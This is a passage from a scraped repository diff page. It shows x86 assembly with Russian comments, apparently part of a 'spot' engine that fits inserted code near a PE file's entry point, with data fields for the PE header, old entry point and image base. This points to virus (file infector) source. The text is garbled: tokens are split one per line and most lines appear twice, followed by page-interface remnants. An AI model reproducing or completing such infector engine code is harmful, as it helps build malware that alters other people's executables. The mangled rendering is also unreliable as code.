add
edi
,[
ebp
+
num2
]
;
После этого добавим
2-
ую
add
edi
,
300
;
add
edi
,
300
;
И добавим число в которое
;
;
входит максимальный размер
;
+
;
пятна + длина его прыжка
mov
eax
,[
ebp
+
si
ze_for_spot
]
; eax
mov
eax
,[
ebp
+
si
ze_for_spot
]
;
В
eax
загрузим размер
;
;
места для пятен и смещение
add
eax
,[
ebp
+
start_code
]
;
add
eax
,[
ebp
+
start_code
]
;
в памяти точки входа
cmp
edi
,
eax
; eax edi
cmp
edi
,
eax
;
Сравним
eax
и
edi
clc
; carry
clc
;
Сбросим
carry
флаг
jl
m_space
; edi
,
jl
m_space
;
Если
edi
меньше, то все
;
;
хорошо
mov
[
ebp
+
n_spots
],
ecx
;
,
mov
[
ebp
+
n_spots
],
ecx
;
Если нет, то мы уменьшаем
inc
[
ebp
+
n_spots
]
;
inc
[
ebp
+
n_spots
]
;
количество пятен и
stc
; carry
stc
;
устанавливаем
carry
флаг
m_space:
m_space:
pop
eax
edi
; eax edi
pop
eax
edi
;
Вынимаем
eax
и
edi
ret
;
ret
;
Возврат из процедуры
;------------------------------------------------------------------------------;
;------------------------------------------------------------------------------;
pointer
dd
0
;
pointer
dd
0
;
n_spots
dd
0
;
n_spots
dd
0
;
;
;
num1
dd
0
;
num1
dd
0
;
num2
dd
0
;
num2
dd
0
;
;
;
Данные необходимые для
PE_header
dd
0
;
PE_header
dd
0
;
работы мотора
old_eip
dd
0
;
old_eip
dd
0
;
image_base
dd
0
;
image_base
dd
0
;
start_code
dd
0
;
start_code
dd
0
;
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment